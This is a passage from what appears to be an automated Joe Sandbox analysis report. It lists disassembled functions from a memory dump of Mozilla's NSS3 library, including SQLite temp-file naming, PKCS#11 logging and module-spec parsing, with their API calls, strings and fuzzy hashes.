sqlite3_free.NSS3(00000000,?,?,?,?,6CE0BE66), ref: 6CF4701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6CE0BE66), ref: 6CF47030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF4705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6CE0BE66), ref: 6CF47079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF47097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6CE0BE66), ref: 6CF470A0

Strings

winGetTempname5, xrefs: 6CF47071
winGetTempname1, xrefs: 6CF4708F
winGetTempname2, xrefs: 6CF470C4
mz_etilqs_, xrefs: 6CF46F18
winGetTempname4, xrefs: 6CF47046

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 772f0c94a0e9386173b15b953bd90c2d569b48fdcb9d4a8d25f64d486514123d
Instruction ID: c086ad04fc85dc9d62e72edfeeea23211005a6ac7c2133ae010e50fc58e3d700
Opcode Fuzzy Hash: 772f0c94a0e9386173b15b953bd90c2d569b48fdcb9d4a8d25f64d486514123d
Instruction Fuzzy Hash: 90518BB2E0211167E70497349C51FFB3A669F82318F158538E81197BC3FB26A90EC2E2

Function 6CED4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000,00000000,00000001), ref: 6CED5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2,00000000), ref: 6CED5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6CED5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6CED50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE875C2), ref: 6CED50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6CED50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CED5153
free.MOZGLUE(?), ref: 6CED516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6CED517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CED5195

Strings

parameters=, xrefs: 6CED506B
name=, xrefs: 6CED5057
nss=, xrefs: 6CED5083
config=, xrefs: 6CED509B
library=, xrefs: 6CED5043

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 2714a8dd360d39b1cae50d7e5f530814b38eead1b8279673b5e4cc4375185861
Instruction ID: 01570e7d3085c48b65c1f4a63220a146495c8a4da18b2148c615798c3a64b36e
Opcode Fuzzy Hash: 2714a8dd360d39b1cae50d7e5f530814b38eead1b8279673b5e4cc4375185861
Instruction Fuzzy Hash: D85187F5A126166BEB00DF24DC41AAB37B8DF0624CF250424EC59E7741EB25FA16C7B2

Function 6CEA8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6CEA8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEA8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA8EB3

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEA8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6CEA8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6CEA8F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA8F29
PR_LogPrint.NSS3(?,00000000), ref: 6CEA8F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CEA8F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEA8F80
PR_LogPrint.NSS3(?,00000000), ref: 6CEA8F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6CEA8FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6CEA8FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6CEA9047

Strings

hSession = 0x%x, xrefs: 6CEA8E8E, 6CEA8E9E
pulWrappedKeyLen = 0x%p, xrefs: 6CEA8FC8
hWrappingKey = 0x%x, xrefs: 6CEA8F01, 6CEA8F11
C_WrapKey, xrefs: 6CEA8E71
pWrappedKey = 0x%p, xrefs: 6CEA8FAD
*pulWrappedKeyLen = 0x%x, xrefs: 6CEA9042
hKey = 0x%x, xrefs: 6CEA8F5B, 6CEA8F6B
pMechanism = 0x%p, xrefs: 6CEA8EE0
(CK_INVALID_HANDLE), xrefs: 6CEA8EAC, 6CEA8F1F, 6CEA8F79

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: d1483c5f47cbedf50767b7a46506db365d4dac0235f2f1f148455734ddf412fb
Instruction ID: 767a42a82ea56589c8a272cd01261b1e4cbc92be401dde8b884905eda2874799
Opcode Fuzzy Hash: d1483c5f47cbedf50767b7a46506db365d4dac0235f2f1f148455734ddf412fb
Instruction Fuzzy Hash: 88510635A02155EFDB109F90CC48F9A7B72AF4630CF55846AF9086BB12D732AD0ACB91

Function 6CED4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C5B
PR_smprintf.NSS3(6CFAAAF9,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CED4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6CEC4F51,00000000), ref: 6CED4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6CED4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6CED4DA2
free.MOZGLUE(?), ref: 6CED4DB9
free.MOZGLUE(00000000), ref: 6CED4DCF

Strings

slotFlags, xrefs: 6CED4D34
ootT, xrefs: 6CED4D1A
0x%08lx=[%s %s], xrefs: 6CED4D80
every, xrefs: 6CED4CA1
timeout, xrefs: 6CED4C91
any, xrefs: 6CED4C96
rootFlags, xrefs: 6CED4D47
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6CED4D9D
rust, xrefs: 6CED4D22
%s,%s, xrefs: 6CED4C4B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction ID: d0fde9c54bc4c0e073784a2f03a632b9f69ffd9506e337a95eb6a18cf3c10402
Opcode Fuzzy Hash: 65380a2202411bef92b94eb142dbfa98313797e583e97f5cdea7cbd930c3515a
Instruction Fuzzy Hash: 2441BDB1E10141ABEB125F549C44ABF7675AFA230CF2A412AEC164B701E732E927C7D3

Function 6CEB6CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6CEB6943
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6CEB6957
Part of subcall function 6CEB6910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6CEB6972
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6CEB6983
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6CEB69AA
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6CEB69BE
Part of subcall function 6CEB6910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6CEB69D2
Part of subcall function 6CEB6910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6CEB69DF
Part of subcall function 6CEB6910: NSSUTIL_ArgStrip.NSS3(?), ref: 6CEB6A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6D8C
free.MOZGLUE(00000000), ref: 6CEB6DC5
free.MOZGLUE(?), ref: 6CEB6DD6
free.MOZGLUE(?), ref: 6CEB6DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CEB6E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6E72
free.MOZGLUE(?), ref: 6CEB6EA7
free.MOZGLUE(?), ref: 6CEB6EC4
free.MOZGLUE(?), ref: 6CEB6ED5
free.MOZGLUE(00000000), ref: 6CEB6EE3
free.MOZGLUE(?), ref: 6CEB6EF4
free.MOZGLUE(?), ref: 6CEB6F08
free.MOZGLUE(00000000), ref: 6CEB6F35
free.MOZGLUE(?), ref: 6CEB6F44
free.MOZGLUE(?), ref: 6CEB6F5B
free.MOZGLUE(00000000), ref: 6CEB6F65

Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CEB781D,00000000,6CEABE2C,?,6CEB6B1D,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C40
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CEB781D,?,6CEABE2C,?), ref: 6CEB6C58
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CEB781D), ref: 6CEB6C6F
Part of subcall function 6CEB6C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CEB6C84
Part of subcall function 6CEB6C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CEB6C96
Part of subcall function 6CEB6C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CEB6CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6CEB6FC5
PK11_GetInternalKeySlot.NSS3 ref: 6CEB6FF4

Strings

+`l, xrefs: 6CEB6D0D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`l
API String ID: 1304971872-283784926
Opcode ID: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction ID: 3bcf48ce80c5a777d4b89375111ca5381d19d7dba0dcc4a1cf8880944b255bd9
Opcode Fuzzy Hash: 9757d1d4b5bd00ee2a94daeba83244083b5aa6fe81b6dfeee8cc6dbf11514c6a
Instruction Fuzzy Hash: 51B14DB1E012199BDF05DFA5DA45BAEBBB8AF0534CF240025E815F7740E731EA15CBA1

Function 6CE7DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE7DDDE

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6CE7DDF5

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6CE7DE34
PR_Now.NSS3 ref: 6CE7DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6CE7DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE7DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE7DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CE7DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6CE7DEF0
PR_smprintf.NSS3(6CFAAAF9,(NULL) (Validity Unknown)), ref: 6CE7DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6CE7DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6CE7DF33
free.MOZGLUE(00000000), ref: 6CE7DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CE7DF4B
free.MOZGLUE(00000000), ref: 6CE7DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE7DF8E

Strings

{???}, xrefs: 6CE7DE8B
(NULL) (Validity Unknown), xrefs: 6CE7DEFA
%s%s, xrefs: 6CE7DEEB

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: c7e0e5b1d3eb73913a2c46c6072e8b7d0daed7cc9bccaabe32de87119a93fbc5
Instruction ID: eb7d39c55f949c96723680c7af218837b58369065c386249259a7d5a3e75fef0
Opcode Fuzzy Hash: c7e0e5b1d3eb73913a2c46c6072e8b7d0daed7cc9bccaabe32de87119a93fbc5
Instruction Fuzzy Hash: 0151A3B5E002059BDB149EA59C41AAF7BB9EF85358F244029EC09E7700E731EA15CBF2

Function 6CEB2D80 Relevance: 33.4, APIs: 22, Instructions: 381COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,?,00000000,?), ref: 6CEB2DEC
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?), ref: 6CEB2E00
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E2B
PR_SetError.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CEB2E43
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000,?), ref: 6CEB2E74
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,00000000,?,?,?,6CE84F1C,?,-00000001,00000000), ref: 6CEB2E88
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EC6
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EE4
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 6CEB2EF8
PR_Unlock.NSS3(?), ref: 6CEB2F62
TlsGetValue.KERNEL32 ref: 6CEB2F86
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB2F9E
PR_Unlock.NSS3(?), ref: 6CEB2FCA
TlsGetValue.KERNEL32 ref: 6CEB301A
EnterCriticalSection.KERNEL32(?), ref: 6CEB302E
PR_Unlock.NSS3(?), ref: 6CEB3066
PR_SetError.NSS3(00000000,00000000), ref: 6CEB3085
PR_Unlock.NSS3(?), ref: 6CEB30EC
TlsGetValue.KERNEL32 ref: 6CEB310C
EnterCriticalSection.KERNEL32(0000001C), ref: 6CEB3124
PR_Unlock.NSS3(?), ref: 6CEB314C

Part of subcall function 6CE99180: PK11_NeedUserInit.NSS3(?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE9918D
Part of subcall function 6CE99180: PR_SetError.NSS3(FFFFE000,00000000,?,?,?,00000000,00000001,6CEC379E,?,6CE99568,00000000,?,6CEC379E,?,00000001,?), ref: 6CE991A0

Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607AD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607CD
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6CDF204A), ref: 6CE607D6
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6CDF204A), ref: 6CE607E4
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,6CDF204A), ref: 6CE60864
Part of subcall function 6CE607A0: calloc.MOZGLUE(00000001,0000002C), ref: 6CE60880
Part of subcall function 6CE607A0: TlsSetValue.KERNEL32(00000000,?,?,6CDF204A), ref: 6CE608CB
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608D7
Part of subcall function 6CE607A0: TlsGetValue.KERNEL32(?,?,6CDF204A), ref: 6CE608FB

PR_SetError.NSS3(00000000,00000000), ref: 6CEB316D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$Unlock$CriticalEnterSection$Error$calloc$InitK11_NeedUser
String ID:
API String ID: 3383223490-0
Opcode ID: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction ID: 43bb476ca7ce397fc75be6788a832927b359b3c23b58cd092d6ced5fd7aa9b05
Opcode Fuzzy Hash: 0408854044e0015aed2752c1a2e416aeff0d41f75aa325c012cb89bacab9a25c
Instruction Fuzzy Hash: 4BF1AEB5E006189FDF01DF64D989BAABBB4BF09318F244169EC04B7711EB31E995CB81

Function 6CEAAF20 Relevance: 33.4, APIs: 10, Strings: 9, Instructions: 126COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SignMessage), ref: 6CEAAF46
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CEAAF74
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CEAAF83

Part of subcall function 6CF8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CEAAF99
PR_LogPrint.NSS3( pParameter = 0x%p,?), ref: 6CEAAFBE
PR_LogPrint.NSS3( ulParameterLen = 0x%p,?), ref: 6CEAAFD9
PR_LogPrint.NSS3( pData = 0x%p,?), ref: 6CEAAFF4
PR_LogPrint.NSS3( ulDataLen = %d,?), ref: 6CEAB00F
PR_LogPrint.NSS3( pSignature = 0x%p,?), ref: 6CEAB028
PR_LogPrint.NSS3( pulSignatureLen = 0x%p,?), ref: 6CEAB041

Strings

hSession = 0x%x, xrefs: 6CEAAF5E, 6CEAAF6E
ulParameterLen = 0x%p, xrefs: 6CEAAFD4
ulDataLen = %d, xrefs: 6CEAB00A
pulSignatureLen = 0x%p, xrefs: 6CEAB03C
pSignature = 0x%p, xrefs: 6CEAB023
(CK_INVALID_HANDLE), xrefs: 6CEAAF7C
C_SignMessage, xrefs: 6CEAAF41
pParameter = 0x%p, xrefs: 6CEAAFB9
pData = 0x%p, xrefs: 6CEAAFEF

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pData = 0x%p$ pParameter = 0x%p$ pSignature = 0x%p$ pulSignatureLen = 0x%p$ ulDataLen = %d$ ulParameterLen = 0x%p$ (CK_INVALID_HANDLE)$C_SignMessage
